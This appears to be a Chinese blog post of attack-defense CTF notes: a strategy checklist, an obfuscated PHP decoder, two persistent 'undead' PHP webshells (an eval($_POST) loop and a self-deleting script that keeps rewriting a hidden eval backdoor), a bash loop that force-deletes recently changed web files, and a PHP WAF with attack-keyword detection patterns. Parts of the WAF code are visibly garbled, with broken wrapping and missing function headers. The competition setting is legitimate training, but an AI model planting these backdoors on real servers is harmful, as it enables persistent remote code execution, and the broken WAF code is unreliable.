红蓝对抗常规操作

  1. 开局思路

开局思路

  1. 修改密码
  2. 关闭端口
  3. 确保不要让机器下线
  4. 将网站的源码备份,并将源码放入虚拟机进行代码审计和木马查杀,用#注释掉
  5. 搜索高危函数,并将当前高危函数修复为正常没有漏洞的函数,或者用PHP写一个简单的WAF,用include包含上去
  6. 快速扫描别人的webshell
  7. 实时监控当前web访问日志,及时审查。
  8. 发现别人进入后迅速修复漏洞
  9. 如果进入别人的目录,那么就循环生成webshell。
  10. 抓到其他人的语句,那么就学习并打回去
  11. 使用tcpdump监控流量
  12. SEAY代码审计工具, D盾部署在本地服务器上快速查杀
  13. 备份网站目录,且不要将网站备份放在ROOT上
  14. 攻击人员2人,防守人员1人
<?php
$a=" a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$a=str_rot13($a);
$a=strrev($a);
$a=base64_decode($a);
function decode233($str)

{
$b=""; for($test=0;$test<strlen($str);$test++) { $b=$b.(chr(ord($str[$test])-1)); } return $b; }
echo strrev(decode233($a)); ?>
  • 以下是不死马
    while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
    
<?php
set_time_limit(0);
//程序执行时间
ignore_user_abort(1);
//关掉终端后脚本仍然运行
unlink(__FILE__);
//文件完整名
while(1) {
 file_put_contents('.test.php','<?php $a=array($_REQUEST["x"]=>"3");   // pwd=x
$b=array_keys($a)[0];
eval($b);?>');
 sleep(5);
}
?>
  • 用shell去监控当前目录是否有新增文件
#!/bin/bash
while true
do
    find /var/www/html/ -cmin -60 -type f | xargs rm -rf
    sleep 1
done

waf

<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') {
    write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //获取uri来进行检测
$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipa
rt $headers = get_all_headers(); //获取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //
对URL进行检测,出现问题则拦截并记录filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data))));
//对POST的内容进行检测,出现问题拦截并记录
/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {
    $_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
    filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
    $_SERVER[$key] = filter_dangerous_words($value); //简单过滤

} /* 获取http请求头并写入数组 */
)
{ $headers = array(); foreach ($_SERVER as $key => $value) { if (substr($key, 0, 5) === 'HTTP_') { $headers[$key] = $value; } } return $headers; } /* 检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改 */ function filter_invisible($str) { for ($i = 0; $i < strlen($str); $i++) { $ascii = ord($str[$i]); if ($ascii > 126 || $ascii < 32) { //有中文这里要修改 if (!in_array($ascii, array( 9, 10, 13 ))) { write_attack_log("interrupt"); } else { $str = str_replace($ascii, " ", $str); } } } $str = str_replace(array( "`", "|", ";", "," ) , " ", $str); return $str; } /* 检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25 */ function filter_0x25($str) { if (strpos($str, "%25") !== false) { $str = str_replace("%25", "%", $str); return filter_0x25($str); } else { return $str; } } /* 攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b */ function filter_attack_keyword($str) { if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b |outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m ultipoint\(/i", $str)) { write_attack_log("sqli"); }
if (substr_count($str, $_SERVER['PHP_SELF']) < 2) { $tmp = str_replace($_SERVER['PHP_SELF'], "", $str); if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) { write_attack_log("LFI/LFR");; } } else { write_attack_log("LFI/LFR"); } if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) { write_attack_log("EXEC"); } if (preg_match("/flag/i", $str)) { write_attack_log("GETFLAG"); } } /* 简单将易出现问题的字符替换成中文 */ function filter_dangerous_words($str) { $str = str_replace("'", "‘", $str); $str = str_replace("\"", "“", $str); $str = str_replace("<", "《", $str); $str = str_replace(">", "》", $str); return $str; } /* 获取http的请求包,意义在于获取别人的攻击payload */
)
{ $raw = ''; $raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n"; foreach ($_SERVER as $key => $value) { if (substr($key, 0, 5) === 'HTTP_') { $key = substr($key, 5); $key = str_replace('_', '-', $key); $raw.= $key . ': ' . $value . "\r\n"; } } $raw.= "\r\n"; $raw.= file_get_contents('php://input'); return $raw; } /* 这里拦截并记录攻击payload */ function write_attack_log($alert) { date_default_timezone_set("Asia/Shanghai"); $data = date("Y/m/d H:i:s") . " -- [" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n"; $ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径 fwrite($ffff, $data); fclose($ffff); if ($alert == 'GETFLAG') { header("location:http://172.16.9.2/"); } else { sleep(15); //拦截前延时15秒
} exit(0); } ?>

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 365433079@qq.com